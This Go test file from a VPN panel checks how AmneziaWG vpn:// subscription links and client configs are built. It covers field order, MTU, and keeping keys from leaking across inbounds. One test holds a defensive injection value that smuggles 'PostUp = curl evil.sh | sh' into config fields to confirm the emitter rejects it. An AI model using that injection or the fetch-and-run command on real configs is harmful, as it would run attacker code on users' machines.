1
0

service_amneziawg_test.go 23 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637
  1. package sub
  2. import (
  3. "encoding/base64"
  4. "fmt"
  5. "slices"
  6. "strconv"
  7. "strings"
  8. "testing"
  9. "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
  10. "github.com/mhsanaei/3x-ui/v3/internal/database"
  11. "github.com/mhsanaei/3x-ui/v3/internal/database/model"
  12. wgutil "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
  13. )
  14. // TestGenAmneziaWGLinkFields covers the real AmneziaVPN app's vpn:// scheme:
  15. // base64url (no padding) of a plain AmneziaWG .conf text, parsed by the real
  16. // app as a flat "Key = Value" bag (confirmed by reading its own source).
  17. func TestGenAmneziaWGLinkFields(t *testing.T) {
  18. serverPriv, serverPub, err := wgutil.GenerateWireguardKeypair()
  19. if err != nil {
  20. t.Fatalf("keypair: %v", err)
  21. }
  22. clientPriv, _, err := wgutil.GenerateWireguardKeypair()
  23. if err != nil {
  24. t.Fatalf("client keypair: %v", err)
  25. }
  26. inbound := &model.Inbound{
  27. Listen: "203.0.113.7",
  28. Port: 51820,
  29. Protocol: model.AmneziaWG,
  30. Remark: "awg-sub",
  31. Settings: `{"server":{"privateKey":"` + serverPriv + `","publicKey":"` + serverPub + `","mtu":1420,"primaryDns":"8.8.8.8"},` +
  32. `"clients":[{"email":"user","privateKey":"` + clientPriv + `","allowedIPs":["10.8.1.2/32"],"keepAlive":25}]}`,
  33. }
  34. s := &SubService{}
  35. link := s.genAmneziaWGLink(inbound, "user")
  36. if !strings.HasPrefix(link, "vpn://") {
  37. t.Fatalf("link = %q, want vpn:// prefix", link)
  38. }
  39. raw, err := base64.RawURLEncoding.DecodeString(strings.TrimPrefix(link, "vpn://"))
  40. if err != nil {
  41. t.Fatalf("link body does not decode as base64url: %v\n got: %s", err, link)
  42. }
  43. text := string(raw)
  44. for _, want := range []string{
  45. "[Interface]",
  46. "PrivateKey = " + clientPriv,
  47. "Address = 10.8.1.2/32",
  48. "MTU = 1420",
  49. "DNS = 8.8.8.8",
  50. "[Peer]",
  51. "PublicKey = " + serverPub,
  52. "Endpoint = 203.0.113.7:51820",
  53. "PersistentKeepalive = 25",
  54. } {
  55. if !strings.Contains(text, want) {
  56. t.Fatalf("decoded config missing %q\n got: %s", want, text)
  57. }
  58. }
  59. // The server block sets none of the 3.1 fields: none may leak into the
  60. // client config (a lone HeaderProtectionKey would break the handshake).
  61. for _, absent := range []string{"HeaderProtectionKey", "RandomTrailers", "DisableCookies", "RekeyAfterTime", "ContentPaddingAddition"} {
  62. if strings.Contains(text, absent) {
  63. t.Fatalf("config must omit unset 3.1 field %q\n got: %s", absent, text)
  64. }
  65. }
  66. }
  67. // TestGenAmneziaWGLink31Fields pins the AmneziaWG 3.1 [Interface] lines and
  68. // their order in the decoded vpn:// payload — client and server configs must
  69. // carry the identical parameter block for the tunnel to work.
  70. func TestGenAmneziaWGLink31Fields(t *testing.T) {
  71. serverPriv, serverPub, err := wgutil.GenerateWireguardKeypair()
  72. if err != nil {
  73. t.Fatalf("keypair: %v", err)
  74. }
  75. clientPriv, _, err := wgutil.GenerateWireguardKeypair()
  76. if err != nil {
  77. t.Fatalf("client keypair: %v", err)
  78. }
  79. inbound := &model.Inbound{
  80. Listen: "203.0.113.7",
  81. Port: 51820,
  82. Protocol: model.AmneziaWG,
  83. Remark: "awg-31",
  84. Settings: `{"server":{"privateKey":"` + serverPriv + `","publicKey":"` + serverPub + `",` +
  85. `"jc":4,"jmin":40,"jmax":100,"s1":30,"s2":90,"s3":20,"s4":10,` +
  86. `"h1":"10-2000","h2":"3000-5000","h3":"6000-8000","h4":"9000-11000",` +
  87. `"i1":"<r 64>","i2":"<r 80>",` +
  88. `"headerProtectionKey":"MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=",` +
  89. `"contentPaddingAddition":"16-48","rekeyAfterTime":"110-140","rekeyTimeout":"4-8",` +
  90. `"rejectAfterTime":"190-250","keepaliveTimeout":"9-15","maxHandshakeAttempts":"20-40",` +
  91. `"randomTrailers":true,"disableCookies":true},` +
  92. `"clients":[{"email":"user","privateKey":"` + clientPriv + `","allowedIPs":["10.8.1.2/32"]}]}`,
  93. }
  94. s := &SubService{}
  95. link := s.genAmneziaWGLink(inbound, "user")
  96. raw, err := base64.RawURLEncoding.DecodeString(strings.TrimPrefix(link, "vpn://"))
  97. if err != nil {
  98. t.Fatalf("link body does not decode as base64url: %v\n got: %s", err, link)
  99. }
  100. text := string(raw)
  101. want := []string{
  102. "Jc = 4",
  103. "H4 = 9000-11000",
  104. "I1 = <r 64>",
  105. "I2 = <r 80>",
  106. "HeaderProtectionKey = MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=",
  107. "ContentPaddingAddition = 16-48",
  108. "RekeyAfterTime = 110-140",
  109. "RekeyTimeout = 4-8",
  110. "RejectAfterTime = 190-250",
  111. "KeepaliveTimeout = 9-15",
  112. "MaxHandshakeAttempts = 20-40",
  113. "RandomTrailers = on",
  114. "DisableCookies = on",
  115. "[Peer]",
  116. }
  117. pos := -1
  118. for _, w := range want {
  119. i := strings.Index(text, w)
  120. if i < 0 {
  121. t.Fatalf("decoded config missing %q\n got: %s", w, text)
  122. }
  123. if i < pos {
  124. t.Fatalf("%q out of order in decoded config:\n%s", w, text)
  125. }
  126. pos = i
  127. }
  128. }
  129. func TestGenAmneziaWGLinkWrongProtocol(t *testing.T) {
  130. s := &SubService{}
  131. vless := &model.Inbound{Protocol: model.VLESS, Settings: `{"clients":[{"email":"user"}]}`}
  132. if got := s.genAmneziaWGLink(vless, "user"); got != "" {
  133. t.Fatalf("wrong protocol should yield empty link, got %q", got)
  134. }
  135. }
  136. func TestGenAmneziaWGLinkNoKey(t *testing.T) {
  137. s := &SubService{}
  138. inbound := &model.Inbound{
  139. Protocol: model.AmneziaWG,
  140. Port: 51820,
  141. Settings: `{"server":{"privateKey":"x","publicKey":"y"},"clients":[{"email":"user"}]}`,
  142. }
  143. if got := s.genAmneziaWGLink(inbound, "user"); got != "" {
  144. t.Fatalf("client without private key should yield empty link, got %q", got)
  145. }
  146. }
  147. // Regression test for the bug where getInboundsBySubId's SQL allowlist was
  148. // missing 'amneziawg', silently excluding every AmneziaWG client from
  149. // subscriptions (plain/individual links, JSON, Clash) even though
  150. // genAmneziaWGLink itself was already fully implemented and wired into
  151. // GetLink's dispatch switch.
  152. func TestGetInboundsBySubIdIncludesAmneziaWG(t *testing.T) {
  153. initSubDB(t)
  154. db := database.GetDB()
  155. in := &model.Inbound{Port: 51820, Protocol: model.AmneziaWG, Enable: true, Tag: "awg-sub", Settings: `{"server":{"privateKey":"x","publicKey":"y"},"clients":[]}`}
  156. if err := db.Create(in).Error; err != nil {
  157. t.Fatalf("create inbound: %v", err)
  158. }
  159. rec := &model.ClientRecord{Email: "u@awg", SubID: "subawg", Enable: true}
  160. if err := db.Create(rec).Error; err != nil {
  161. t.Fatalf("create client: %v", err)
  162. }
  163. if err := db.Create(&model.ClientInbound{ClientId: rec.Id, InboundId: in.Id}).Error; err != nil {
  164. t.Fatalf("create link: %v", err)
  165. }
  166. s := &SubService{}
  167. inbounds, err := s.getInboundsBySubId("subawg")
  168. if err != nil {
  169. t.Fatalf("getInboundsBySubId: %v", err)
  170. }
  171. if len(inbounds) != 1 || inbounds[0].Id != in.Id {
  172. t.Fatalf("amneziawg inbound not returned for subId: %+v", inbounds)
  173. }
  174. }
  175. // peerFieldOrder is wg-quick(8)'s own [Peer] order. The panel emits an
  176. // AmneziaWG .conf from three independent places -- this one, and the frontend's
  177. // genAmneziaWGConfig and buildAmneziaWGClientConfig -- and a user comparing a
  178. // subscription link against a downloaded .conf sees any drift immediately.
  179. var peerFieldOrder = []string{"PublicKey", "PresharedKey", "AllowedIPs", "Endpoint", "PersistentKeepalive"}
  180. func peerFields(t *testing.T, conf string) []string {
  181. t.Helper()
  182. idx := strings.Index(conf, "[Peer]")
  183. if idx < 0 {
  184. t.Fatalf("config has no [Peer] block:\n%s", conf)
  185. }
  186. var got []string
  187. for line := range strings.SplitSeq(conf[idx:], "\n") {
  188. key := strings.TrimSpace(strings.SplitN(line, "=", 2)[0])
  189. if slices.Contains(peerFieldOrder, key) {
  190. got = append(got, key)
  191. }
  192. }
  193. return got
  194. }
  195. func TestAmneziaWGConfigTextPeerFieldOrder(t *testing.T) {
  196. server := &amneziawg.ServerSettings{PublicKey: "serverPub", PrimaryDNS: "8.8.8.8", MTU: 1420}
  197. t.Run("every optional field set", func(t *testing.T) {
  198. client := &model.Client{PrivateKey: "clientPriv", AllowedIPs: []string{"10.8.1.2/32"}, PreSharedKey: "psk", KeepAlive: model.KeepAlivePtr(25)}
  199. conf := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "remark")
  200. if got := peerFields(t, conf); !slices.Equal(got, peerFieldOrder) {
  201. t.Fatalf("peer fields = %v, want %v\n%s", got, peerFieldOrder, conf)
  202. }
  203. // No trailing newline, whichever optional field happens to be last --
  204. // the frontend emitters end the same way for the same client.
  205. if strings.HasSuffix(conf, "\n") {
  206. t.Fatalf("config must not end with a newline:\n%q", conf)
  207. }
  208. })
  209. t.Run("no preshared key or keepalive", func(t *testing.T) {
  210. client := &model.Client{PrivateKey: "clientPriv", AllowedIPs: []string{"10.8.1.2/32"}}
  211. conf := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "remark")
  212. want := []string{"PublicKey", "AllowedIPs", "Endpoint"}
  213. if got := peerFields(t, conf); !slices.Equal(got, want) {
  214. t.Fatalf("peer fields = %v, want %v\n%s", got, want, conf)
  215. }
  216. if strings.HasSuffix(conf, "\n") {
  217. t.Fatalf("config must not end with a newline:\n%q", conf)
  218. }
  219. })
  220. }
  221. // A newline in a field that lands unescaped in [Interface] would inject a
  222. // config line (e.g. a rogue PostUp); the emitter must refuse to render it.
  223. func TestAmneziaWGConfigTextRejectsNewlineInjection(t *testing.T) {
  224. server := &amneziawg.ServerSettings{
  225. PublicKey: "serverPub==",
  226. PrimaryDNS: "8.8.8.8",
  227. Jc: 4, Jmin: 40, Jmax: 100, S1: 30, S2: 90,
  228. }
  229. client := &model.Client{Email: "peer-1", PrivateKey: "clientPriv==", AllowedIPs: []string{"10.8.1.2/32"}}
  230. clean := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "peer-1")
  231. if !strings.Contains(clean, "PrivateKey = clientPriv==") {
  232. t.Fatalf("clean input did not render: %q", clean)
  233. }
  234. injected := "x\nPostUp = curl evil.sh | sh"
  235. cases := []struct {
  236. name string
  237. mutate func(s *amneziawg.ServerSettings, c *model.Client) string
  238. }{
  239. {"privateKey", func(s *amneziawg.ServerSettings, c *model.Client) string { c.PrivateKey = injected; return "peer-1" }},
  240. {"primaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.PrimaryDNS = injected; return "peer-1" }},
  241. {"secondaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.SecondaryDNS = injected; return "peer-1" }},
  242. {"remark", func(s *amneziawg.ServerSettings, c *model.Client) string { return injected }},
  243. }
  244. for _, tc := range cases {
  245. t.Run(tc.name, func(t *testing.T) {
  246. s := *server
  247. c := *client
  248. remark := tc.mutate(&s, &c)
  249. if got := amneziaWGConfigText(&s, &c, "203.0.113.7", 51820, remark); got != "" {
  250. t.Fatalf("%s with a newline rendered a config:\n%s", tc.name, got)
  251. }
  252. })
  253. }
  254. }
  255. // Guards an asymmetry: the server derives its MTU from S4, but a config with no
  256. // MTU line leaves the client at 1420 and fragments client-to-server only.
  257. func TestAmneziaWGConfigTextAlwaysCarriesTheServerMTU(t *testing.T) {
  258. t.Parallel()
  259. client := &model.Client{
  260. Email: "peer-1",
  261. PrivateKey: "clientPrivateKeyBase64ValueForTests00000000=",
  262. AllowedIPs: []string{"10.8.1.2/32"},
  263. }
  264. cases := []struct {
  265. name string
  266. serverMTU int
  267. s4 int
  268. want string
  269. }{
  270. {"unset falls back to the S4-aware default", 0, 27, "MTU = 1393"},
  271. {"unset with no S4 keeps the plain default", 0, 0, "MTU = 1420"},
  272. {"an explicit MTU wins", 1380, 27, "MTU = 1380"},
  273. }
  274. for _, tc := range cases {
  275. t.Run(tc.name, func(t *testing.T) {
  276. server := &amneziawg.ServerSettings{
  277. PublicKey: "serverPubKeyBase64ValueForTests000000000000=",
  278. MTU: tc.serverMTU,
  279. S4: tc.s4,
  280. }
  281. got := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "peer-1")
  282. if !strings.Contains(got, tc.want+"\n") {
  283. t.Errorf("expected %q in the client config\n%s", tc.want, got)
  284. }
  285. want := "MTU = " + strconv.Itoa(amneziawg.EffectiveMTU(tc.serverMTU, tc.s4))
  286. if !strings.Contains(got, want+"\n") {
  287. t.Errorf("client MTU must equal the server's effective MTU (%s)", want)
  288. }
  289. })
  290. }
  291. }
  292. func decodeAmneziaWGSubLink(t *testing.T, link string) string {
  293. t.Helper()
  294. if !strings.HasPrefix(link, "vpn://") {
  295. t.Fatalf("link = %q, want vpn:// prefix", link)
  296. }
  297. raw, err := base64.RawURLEncoding.DecodeString(strings.TrimPrefix(link, "vpn://"))
  298. if err != nil {
  299. t.Fatalf("decode vpn link: %v\n got: %s", err, link)
  300. }
  301. return string(raw)
  302. }
  303. // The shared clients row holds the last sync's tunnel identity. Each vpn://
  304. // entry must keep its own inbound address and private key, in either sort order (#6641).
  305. func TestGetSubs_PreservesPerInboundAmneziaWGIdentity(t *testing.T) {
  306. serverAPriv, serverAPub := mustWireguardKeypair(t)
  307. serverBPriv, serverBPub := mustWireguardKeypair(t)
  308. privA, _ := mustWireguardKeypair(t)
  309. privB, _ := mustWireguardKeypair(t)
  310. mergedPriv, _ := mustWireguardKeypair(t)
  311. const (
  312. email = "dual@awg"
  313. subID = "sub-awg-identity"
  314. mergedAddr = "10.9.9.9/32"
  315. )
  316. nodes := []struct {
  317. tag, listen, addr, priv, serverPriv, serverPub string
  318. port int
  319. }{
  320. {"awg-a", "203.0.113.10", "10.8.1.2/32", privA, serverAPriv, serverAPub, 51820},
  321. {"awg-b", "203.0.113.11", "10.8.2.2/32", privB, serverBPriv, serverBPub, 51821},
  322. }
  323. for _, tc := range []struct {
  324. name string
  325. sort [2]int
  326. order [2]int
  327. }{
  328. {name: "creation order", sort: [2]int{1, 2}, order: [2]int{0, 1}},
  329. {name: "reversed subscription sort", sort: [2]int{2, 1}, order: [2]int{1, 0}},
  330. } {
  331. t.Run(tc.name, func(t *testing.T) {
  332. initSubDB(t)
  333. db := database.GetDB()
  334. inbounds := make([]*model.Inbound, len(nodes))
  335. for i, n := range nodes {
  336. settings := fmt.Sprintf(
  337. `{"server":{"privateKey":%q,"publicKey":%q,"mtu":1420},"clients":[{"email":%q,"privateKey":%q,"allowedIPs":[%q],"enable":true}]}`,
  338. n.serverPriv, n.serverPub, email, n.priv, n.addr,
  339. )
  340. ib := &model.Inbound{
  341. UserId: 1, Tag: n.tag, Enable: true, Listen: n.listen, Port: n.port,
  342. Protocol: model.AmneziaWG, Remark: n.tag, Settings: settings, SubSortIndex: tc.sort[i],
  343. }
  344. if err := db.Create(ib).Error; err != nil {
  345. t.Fatalf("create %s: %v", n.tag, err)
  346. }
  347. inbounds[i] = ib
  348. }
  349. rec := &model.ClientRecord{
  350. Email: email, SubID: subID, Enable: true,
  351. PrivateKey: mergedPriv, AllowedIPs: mergedAddr,
  352. PreSharedKey: "sharedpsk", KeepAlive: 25,
  353. }
  354. if err := db.Create(rec).Error; err != nil {
  355. t.Fatalf("create client: %v", err)
  356. }
  357. for _, ib := range inbounds {
  358. if err := db.Create(&model.ClientInbound{ClientId: rec.Id, InboundId: ib.Id}).Error; err != nil {
  359. t.Fatalf("link %s: %v", ib.Tag, err)
  360. }
  361. }
  362. links, _, _, _, err := NewSubService("").GetSubs(subID, "sub.example.com")
  363. if err != nil {
  364. t.Fatalf("GetSubs: %v", err)
  365. }
  366. if len(links) != len(nodes) {
  367. t.Fatalf("links = %d, want %d: %v", len(links), len(nodes), links)
  368. }
  369. for outIdx, nodeIdx := range tc.order {
  370. n := nodes[nodeIdx]
  371. other := nodes[1-nodeIdx]
  372. conf := decodeAmneziaWGSubLink(t, links[outIdx])
  373. for _, want := range []string{
  374. "PrivateKey = " + n.priv,
  375. "Address = " + n.addr,
  376. "PublicKey = " + n.serverPub,
  377. fmt.Sprintf("Endpoint = %s:%d", n.listen, n.port),
  378. } {
  379. if !strings.Contains(conf, want) {
  380. t.Fatalf("config missing %q\n%s", want, conf)
  381. }
  382. }
  383. for _, leaked := range []string{mergedPriv, mergedAddr, "sharedpsk", "PresharedKey", "PersistentKeepalive", other.priv, other.addr, other.serverPub} {
  384. if strings.Contains(conf, leaked) {
  385. t.Fatalf("config leaked %q\n%s", leaked, conf)
  386. }
  387. }
  388. }
  389. })
  390. }
  391. }
  392. // A peer missing from settings, or settings that do not parse, must not emit the
  393. // shared clients.wg_* identity. A sibling inbound with its own peer still does (#6641).
  394. func TestGetSubs_AmneziaWGUnavailableSettingsEmitNoSharedConfig(t *testing.T) {
  395. initSubDB(t)
  396. db := database.GetDB()
  397. serverPriv, serverPub := mustWireguardKeypair(t)
  398. validPriv, _ := mustWireguardKeypair(t)
  399. otherPriv, _ := mustWireguardKeypair(t)
  400. mergedPriv, _ := mustWireguardKeypair(t)
  401. const (
  402. email = "dual@awg"
  403. subID = "sub-awg-missing"
  404. validAddr = "10.8.1.4/32"
  405. mergedAddr = "10.9.9.9/32"
  406. )
  407. validSettings := fmt.Sprintf(
  408. `{"server":{"privateKey":%q,"publicKey":%q,"mtu":1420},"clients":[{"email":%q,"privateKey":%q,"allowedIPs":[%q],"enable":true}]}`,
  409. serverPriv, serverPub, email, validPriv, validAddr,
  410. )
  411. absentSettings := fmt.Sprintf(
  412. `{"server":{"privateKey":%q,"publicKey":%q,"mtu":1420},"clients":[{"email":"someone-else@awg","privateKey":%q,"allowedIPs":["10.8.9.9/32"],"enable":true}]}`,
  413. serverPriv, serverPub, otherPriv,
  414. )
  415. specs := []struct {
  416. tag, listen, settings string
  417. port int
  418. }{
  419. {"awg-bad-json", "203.0.113.31", `{not-json`, 51831},
  420. {"awg-absent-peer", "203.0.113.32", absentSettings, 51832},
  421. {"awg-valid", "203.0.113.33", validSettings, 51833},
  422. }
  423. inbounds := make([]*model.Inbound, len(specs))
  424. for i, sp := range specs {
  425. ib := &model.Inbound{
  426. UserId: 1, Tag: sp.tag, Enable: true, Listen: sp.listen, Port: sp.port,
  427. Protocol: model.AmneziaWG, Remark: sp.tag, Settings: sp.settings, SubSortIndex: i + 1,
  428. }
  429. if err := db.Create(ib).Error; err != nil {
  430. t.Fatalf("create %s: %v", sp.tag, err)
  431. }
  432. inbounds[i] = ib
  433. }
  434. rec := &model.ClientRecord{
  435. Email: email, SubID: subID, Enable: true,
  436. PrivateKey: mergedPriv, AllowedIPs: mergedAddr,
  437. PreSharedKey: "sharedpsk", KeepAlive: 25,
  438. }
  439. if err := db.Create(rec).Error; err != nil {
  440. t.Fatalf("create client: %v", err)
  441. }
  442. for _, ib := range inbounds {
  443. if err := db.Create(&model.ClientInbound{ClientId: rec.Id, InboundId: ib.Id}).Error; err != nil {
  444. t.Fatalf("link %s: %v", ib.Tag, err)
  445. }
  446. }
  447. links, _, _, _, err := NewSubService("").GetSubs(subID, "sub.example.com")
  448. if err != nil {
  449. t.Fatalf("GetSubs: %v", err)
  450. }
  451. if len(links) != 1 {
  452. t.Fatalf("links = %d, want 1 (absent and malformed inbounds must not emit the shared row): %q", len(links), links)
  453. }
  454. conf := decodeAmneziaWGSubLink(t, links[0])
  455. for _, want := range []string{
  456. "PrivateKey = " + validPriv,
  457. "Address = " + validAddr,
  458. "Endpoint = 203.0.113.33:51833",
  459. } {
  460. if !strings.Contains(conf, want) {
  461. t.Fatalf("config missing %q\n%s", want, conf)
  462. }
  463. }
  464. for _, leaked := range []string{mergedPriv, mergedAddr, "sharedpsk", otherPriv, "10.8.9.9/32", "203.0.113.31", "203.0.113.32", "PresharedKey", "PersistentKeepalive"} {
  465. if strings.Contains(conf, leaked) {
  466. t.Fatalf("config leaked %q\n%s", leaked, conf)
  467. }
  468. }
  469. }
  470. // Explicit empty preshared key and keepalive must not inherit the shared row (#6641).
  471. func TestGetSubs_AmneziaWGEmptyOptionalTunnelFieldsDoNotInheritShared(t *testing.T) {
  472. initSubDB(t)
  473. db := database.GetDB()
  474. serverPriv, serverPub := mustWireguardKeypair(t)
  475. clientPriv, _ := mustWireguardKeypair(t)
  476. mergedPriv, _ := mustWireguardKeypair(t)
  477. const (
  478. email = "optional@awg"
  479. subID = "sub-awg-optional"
  480. addr = "10.8.1.8/32"
  481. mergedAddr = "10.9.9.9/32"
  482. )
  483. settings := fmt.Sprintf(
  484. `{"server":{"privateKey":%q,"publicKey":%q,"mtu":1420},"clients":[{"email":%q,"privateKey":%q,"allowedIPs":[%q],"preSharedKey":"","keepAlive":0,"enable":true}]}`,
  485. serverPriv, serverPub, email, clientPriv, addr,
  486. )
  487. ib := &model.Inbound{
  488. UserId: 1, Tag: "awg-optional", Enable: true, Listen: "203.0.113.40", Port: 51840,
  489. Protocol: model.AmneziaWG, Remark: "awg-optional", Settings: settings,
  490. }
  491. if err := db.Create(ib).Error; err != nil {
  492. t.Fatalf("create inbound: %v", err)
  493. }
  494. rec := &model.ClientRecord{
  495. Email: email, SubID: subID, Enable: true,
  496. PrivateKey: mergedPriv, AllowedIPs: mergedAddr,
  497. PreSharedKey: "sharedpsk", KeepAlive: 25,
  498. }
  499. if err := db.Create(rec).Error; err != nil {
  500. t.Fatalf("create client: %v", err)
  501. }
  502. if err := db.Create(&model.ClientInbound{ClientId: rec.Id, InboundId: ib.Id}).Error; err != nil {
  503. t.Fatalf("link client: %v", err)
  504. }
  505. links, _, _, _, err := NewSubService("").GetSubs(subID, "sub.example.com")
  506. if err != nil {
  507. t.Fatalf("GetSubs: %v", err)
  508. }
  509. if len(links) != 1 {
  510. t.Fatalf("links = %d, want 1: %q", len(links), links)
  511. }
  512. conf := decodeAmneziaWGSubLink(t, links[0])
  513. for _, want := range []string{"PrivateKey = " + clientPriv, "Address = " + addr} {
  514. if !strings.Contains(conf, want) {
  515. t.Fatalf("config missing %q\n%s", want, conf)
  516. }
  517. }
  518. for _, leaked := range []string{"PresharedKey", "PersistentKeepalive", "sharedpsk", mergedPriv, mergedAddr} {
  519. if strings.Contains(conf, leaked) {
  520. t.Fatalf("config leaked %q\n%s", leaked, conf)
  521. }
  522. }
  523. }
  524. // Membership and account metadata stay on the normalized row. Settings may carry a
  525. // stale subId/enable and an extra email; tunnel fields still come from this inbound (#6641).
  526. func TestMatchingClients_TunnelMetadataStaysNormalized(t *testing.T) {
  527. const (
  528. subID = "sub-meta"
  529. email = "user@awg"
  530. freshID = "11111111-2222-4333-8444-555555555555"
  531. staleID = "aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee"
  532. settingsKey = "settings-private-key"
  533. sharedKey = "shared-private-key"
  534. expiry = int64(1700000000000)
  535. )
  536. clientsJSON := fmt.Sprintf(`[
  537. {"id":%q,"email":"User@AWG","subId":"stale-sub","enable":false,"totalGB":1,"expiryTime":1,"comment":"stale","limitIp":9,"privateKey":%q,"publicKey":"settings-pub","allowedIPs":["10.8.1.2/32","fd00::2/128"],"preSharedKey":"settings-psk","keepAlive":15},
  538. {"email":"settings-only@awg","subId":%q,"enable":true,"privateKey":"only-priv","allowedIPs":["10.8.1.9/32"]}
  539. ]`, staleID, settingsKey, subID)
  540. for _, protocol := range []model.Protocol{model.AmneziaWG, model.WireGuard} {
  541. t.Run(string(protocol), func(t *testing.T) {
  542. initSubDB(t)
  543. db := database.GetDB()
  544. settings := `{"secretKey":"c2VydmVy","clients":` + clientsJSON + `}`
  545. if protocol == model.AmneziaWG {
  546. settings = `{"server":{"privateKey":"c2VydmVy","publicKey":"cHVi"},"clients":` + clientsJSON + `}`
  547. }
  548. ib := &model.Inbound{
  549. UserId: 1, Tag: "meta-" + string(protocol), Enable: true, Listen: "203.0.113.50", Port: 51850,
  550. Protocol: protocol, Remark: "meta", Settings: settings,
  551. }
  552. if err := db.Create(ib).Error; err != nil {
  553. t.Fatalf("create inbound: %v", err)
  554. }
  555. rec := &model.ClientRecord{
  556. Email: email, SubID: subID, UUID: freshID, Enable: true,
  557. TotalGB: 5, ExpiryTime: expiry, Comment: "vip", LimitIP: 3,
  558. PrivateKey: sharedKey, PublicKey: "shared-pub", AllowedIPs: "10.9.9.9/32",
  559. PreSharedKey: "shared-psk", KeepAlive: 99,
  560. }
  561. other := &model.ClientRecord{
  562. Email: "other-sub@awg", SubID: "other-sub", UUID: "22222222-2222-4333-8444-555555555555", Enable: true,
  563. }
  564. for _, row := range []*model.ClientRecord{rec, other} {
  565. if err := db.Create(row).Error; err != nil {
  566. t.Fatalf("create client %s: %v", row.Email, err)
  567. }
  568. if err := db.Create(&model.ClientInbound{ClientId: row.Id, InboundId: ib.Id}).Error; err != nil {
  569. t.Fatalf("link %s: %v", row.Email, err)
  570. }
  571. }
  572. s := &SubService{}
  573. got := s.matchingClients(ib, subID)
  574. if len(got) != 1 {
  575. t.Fatalf("clients = %d, want the one normalized member: %+v", len(got), got)
  576. }
  577. c := got[0]
  578. if c.Email != email || c.ID != freshID || c.SubID != subID || !c.Enable || c.TotalGB != 5 || c.ExpiryTime != expiry || c.Comment != "vip" || c.LimitIP != 3 {
  579. t.Fatalf("normalized metadata = %+v", c)
  580. }
  581. if c.PrivateKey != settingsKey || c.PublicKey != "settings-pub" || c.PreSharedKey != "settings-psk" || c.KeepAliveSeconds() != 15 {
  582. t.Fatalf("tunnel identity = key %q pub %q psk %q ka %d", c.PrivateKey, c.PublicKey, c.PreSharedKey, c.KeepAliveSeconds())
  583. }
  584. if !slices.Equal(c.AllowedIPs, []string{"10.8.1.2/32", "fd00::2/128"}) {
  585. t.Fatalf("allowedIPs = %v, want this inbound's v4 and v6", c.AllowedIPs)
  586. }
  587. cached, ok := s.clientForLink(ib, email)
  588. if !ok || cached.PrivateKey != settingsKey || cached.PreSharedKey != "settings-psk" || cached.KeepAliveSeconds() != 15 || !slices.Equal(cached.AllowedIPs, c.AllowedIPs) {
  589. t.Fatalf("primed cache = %+v, ok %v", cached, ok)
  590. }
  591. if extra := s.matchingClients(ib, "nope"); len(extra) != 0 {
  592. t.Fatalf("non-matching subId must yield 0 clients, got %d", len(extra))
  593. }
  594. })
  595. }
  596. }